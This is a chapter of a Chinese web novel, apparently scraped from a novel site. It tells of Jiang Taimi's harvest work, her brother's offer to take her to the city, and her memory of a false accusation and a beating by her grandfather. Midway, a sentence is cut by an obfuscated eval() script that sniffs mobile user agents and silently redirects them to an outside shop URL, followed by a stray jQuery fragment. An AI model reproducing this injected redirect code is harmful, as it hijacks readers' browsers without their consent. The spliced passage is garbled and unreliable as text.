文趣网 > 都市小说 > 自由生长 > 8. 第 8 章
    天气越来越炎热,插完秧就是割麦,夏季的农活一茬接着一茬,不停不歇。

    太阳高照,姜家一行人都埋头在田里苦干,高高的麦田里,麦海摇曳,与天相对。

    姜苔米拿着镰刀,捏着麦秆,一刀划过麦秆,麦子断开。她一只手捏着麦子,弯着腰继续往前割,脸上的汗水不停地滑落,几滴流进了她的嘴里。

    她放下麦子,用手背抹了一把额头上的汗,撑起腰站了几秒,又重新低头割了起来。

    她动作麻利,很快那条麦道上就堆满了麦子,离麦头越来越近。

    姜苔米没有歇息,一鼓作气地割完了这条麦道。在田边的一块石头上坐了下来,拧开大水瓶,“咕咚咕咚”地往嘴里倒了些水。

    水瓶被太阳晒得热热的,喝到嘴里带着温度,再加上塑料瓶的材质是劣质的塑料,一股塑料味混在水里,喝起来有些辣喉咙。

    这会儿停了下来,她才觉得脸上和身上刺挠挠的,麦子上的东西和汗水混合,刺在皮肤上难受得跟硬挺的树叶划拉过一样。

    姜苔米倒了一点水在手心,洗了把脸,急促的呼吸休息了片刻便正常下来,她拢了拢头上的草帽,提起镰刀往割得最慢的姜望玉那走去。

    姜望玉被拉来干农活,不满就那么直直地写在脸上,见她走过来,没好气地问:“你来干什么?”

    姜苔米在他前面一段距离弯下腰开始割麦子,起初她没回答他,割了两把麦子,她才说:“我来帮你。”

    姜望玉嘴巴一瘪,不服气道:“谁要你来帮。”

    听见姜望玉说话,姜苔米没有任何反应,手上的动作也丝毫没有受到任何影响,她低着头继续往前割。

    不到半分钟,姜望玉将镰刀往土里一扔:“喂,我不想割了。”说完,大爷似地一屁股坐在了土地里。

    姜苔米回头看了他一眼,又扭过头继续割。

    这麦田今天就要割完,耽搁不得,割完了还要筛麦子,时间紧迫,姜苔米想着手上动作加快了些。

    许是觉得无聊,姜望玉有一搭没一搭地跟她聊着天:“你不累吗?”

    “还好。”累她也不能不做。

    姜望玉嘟囔道:“难怪你长那么丑,就是农活干多了。”

    姜望玉见姜苔米没理他,又接着嘀咕:“姐,我给你的糖,你吃了吗?”

    姜苔米手上一顿,红着脸说:“吃了。”

    姜望玉期待地问:“好吃吗?”

    “怎么在偷懒?自己割。”姜期突然提着镰刀走过来,对着姜望玉道大腿踢了一脚。

    姜望玉仰头瞪了他一眼,就是没起身。

    姜期又对姜苔米喊:“你别割了,看你们把他给惯得,成什么样子了。”

    “说的好像你没被惯过一样。”姜望玉从地上起来,夺过姜苔米手上的镰刀,随手一扔,“别割了,我自己来。”

    姜苔米退到一边,姜期走上前指着田边的那棵大树,对她说:“去那边歇着吧,就他这速度,不知道得等到猴年马月去。”

    姜苔米不放心地盯着姜望玉看了会,见他割得没错,才点点头。

    树荫下,蝉鸣一直叫个不停,姜期手里拿着一根狗尾巴草,蹲了下来,视线眺望着前方:“你真要嫁给李家?”

    姜苔米抿了一下唇,犹豫了很久才回答他:“不想。”

    姜期收回视线,落在姜苔米身上。她比先前又瘦了些。

    “不想你就拒绝他。”

    “我跟你不一样。”

    他们是宝,而她呢,不过是他们口中的赔钱货。她想要拒绝,但没有人给她拒绝的权力。

    听见这话,姜期愣了,手里揪住狗尾巴草,在树根下坐了下来,盯着手里那根被捏住的狗尾巴草,他想了一会,说:“还有两年,你等我毕业,我来接你,到时候我们一起去城里打工。”

    姜苔米没有料到姜期会说这样的话。

    他要带她走,还说去城里。

    离开这里吗?离开大山,去城里吗?

    姜苔米想到了许真妈妈说的那句——许真,你要走出去。

    她嘴角勾了勾,明亮的眼睛里浮现出一丝对未来的期待。她止不住地想,或许姜期真的能带她走出去呢?

    可是……

    就在这时,眼前的场景开始不停地变换,景物快速地从周围闪过,像是电影般。最终她站在了五岁那年的时光。

    那时候,姜期也一样用这样的眼睛看着她。

    “就是她干的!我亲眼看见了!”姜期涨红着脸指着姜苔米。

    姜苔米脸色惨白,黑灰色的锅灰黏在她的脸上和手上,她一哭,眼泪让锅灰在她脸上混着,只留下了一双透亮的,带着湿意的眼睛。

    姜苔米带着哭腔反驳道:“我没有。”

    姜期笃定地瞪着她,凶狠地上前抓住她的手:“就是她!”

    他的力道很大,姜苔米觉得他快要捏碎她的胳膊。但她依旧忍着痛,不服输地抬头。

    坐在两人面前的姜爷爷阴沉着脸,手里拿着半截拇指粗的树条子。

    “是你偷的。”姜苔米回指向姜期,她前些天看见他鬼鬼祟祟地在爷爷房间里翻找东西。

    “?——”

    爷爷手里的树条子随着她话音的落下,重重地打在了她的身上。

    姜苔米踉跄几步,不可置信地看着爷爷:“爷爷……”

    “混账东西,还敢污蔑你哥哥。”爷爷凶相毕露,他站起来,毫不留情地挥动着手里的树条子。

    姜苔米很快就被打得眼前发白,她的皮肉好像绽开了,腿也疼得快要断掉,她跪在地上,咬着牙,就那么死死地瞪着姜期。

    姜期被她看得发麻,别开了眼睛,不敢看她。

    姜苔米没有叫,甚至到了最后,连眼泪也没有了,她躺在冰冷的地上,来来回回重复地说着:“不是我……不是我……”

    再后来,她做了一场梦,梦里白茫茫一片,什么也没有,而后又忽地风云大作,无数的狼出现在她面前,弓着背向她追赶,要将她撕毁般嚎叫。

    姜苔米一直跑一直跑,直到跑到一座悬崖,她看了眼逼近的狼群,又看了眼不见底的崖底,纵身一跃。

    再次醒来,是在三天后,姜苔米愣愣地看着熟悉的、脱皮的天花板,一时之间分不清这是哪里。

    “小米,你醒了?”姜妈妈温柔的声音贴近她的耳边。

    姜苔米侧过头,眼尾滑下一滴泪,滚烫的泪珠顺着她的脸颊落在枕头上,不见声响。

    “没事了没事了,你爷爷这次是有些生气,你晕过去之后,他还来陪了你一晚……”姜妈妈擦了擦她的眼泪,解释道。

    姜苔米并不关心爷爷看没来看过她,她心里想的一直是那件事:“我没拿那个东西。”

    姜妈妈:“好,没拿,没拿。”

    姜苔米抬手摸了摸眼泪,身上的疼痛比之前更厉害,特别是她的腿,她支起身体,不到一半,又疼得她躺了下去。

    姜苔米不信,她试了两次,终于费力地坐了起来,她掀开被子,她的腿上敷着墨绿

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891444|212754||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    色的草叶:“妈妈,这是什么?”

    “这是草药,你爸专门去山上采的,说是这是止疼消炎的。”姜妈妈倒了杯水给她。

    姜苔米推了推杯子,示意她不喝。

    几天后,她的伤口并没有好,反而越来越严重了,有时候她能闻见自己身上的味道,腥臭难闻的。

    她想,她是不是要死了。

    姜苔米有天晚上躺在床上问姜妈妈:“妈妈,我是要死了吗?”

    她幻想过无数次的死亡,有时候她真想自己一觉醒来就死了,那该多好。这样,她就不用再忍痛,也不用再被他们冤枉……

    “瞎说什么,快好了,别担心。”姜妈妈安抚地摸了摸她的额头,“我们小米啊,老天爷不敢收的,是不是?我们小米最坚强了,过几天一定会好的。”

    第二天,外公来了,他看见姜苔米的样子,发了好大的火,他抱着她就往镇上的医院走,姜爸爸拦着不让他去。

    “滚开!”外公厉声道。

    姜苔米从未见过温润的外公发过这么大的脾气,她缩在外公怀里,看见爷爷的时候,她还是本能地颤抖了下,身体紧紧缩在外公的怀里。

    外公绷着脸,边走边说:“别怕苔米,外公来了,他们不敢再欺负你了。”

    “外公,苔米不怕的。”姜苔米揪着他的衣领,将整张脸埋进他的衣服里。

    “好,我们苔米不怕,坚强。”外公扯出牵强的笑。

    从外婆去世之后,外公就不怎么出门了,也不爱跟别人交谈,脾气和性情也变得古怪。

    不过姜苔米一点也不怕他,她知道,外公是个很好很好的人,她喜欢外公。

    在医院出院时,她听到病房外,外公和爸爸的交谈,外公说要她接走,姜苔米很开心,她想和外公在一起。但是下一秒爸爸开口阻止了,他不让外公把她接走。

    后来的话,姜苔米记不清了,只知道从那之后,外公再也没有来过姜家,而爸爸他们也不允许她再去找他。

    她的右腿小腿上留下了一道疤痕,姜苔米一直都记得那时候医生说的话。

    医生说要是再晚几天送来,她的腿可能保不住了。

    姜苔米从来没觉得这道疤痕很丑,有时候她抚摸上这道疤痕的时候,想起的是外公温暖的怀抱。

    她好想好想去看看外公。

    姜期从那次之后,并没有任何的收敛,他意识到,即使他做得再怎么过分,爷爷也不会真的怪罪于他,于是,他开始以姜苔米为借口做坏事。

    起初看见姜苔米被打,他还有些愧疚,但到了后来,他已经习以为常,甚至做到了冷眼旁观。

    “姜苔米,滚过来。”

    “姜苔米,死哪去了。”

    “姜苔米,你给我跪下认个错,我就帮你求情。”

    “姜苔米,你真恶心,离我远点。”

    ………

    “怎么了?”

    姜期的声音与过去的他重叠在一起,从回忆中撕开了一道口子,姜苔米被拉了出来。

    姜苔米扬起头,望着绿油油的树顶,呼了一口浊气:“没什么,只是想起些从前的事。”

    姜期手上玩弄狗尾巴草的手停住了,他语气变得僵硬:“想起什么?”

    “想起了外公,我想他了。”姜苔米像是没在意他的异常,朝他笑了笑。

    “外公?”姜期双肩缓和了下来,“想他就去看看他。”

    姜期扔了狗尾巴草,站起来,挡了挡头上的太阳,补了一句:“反正我不去。”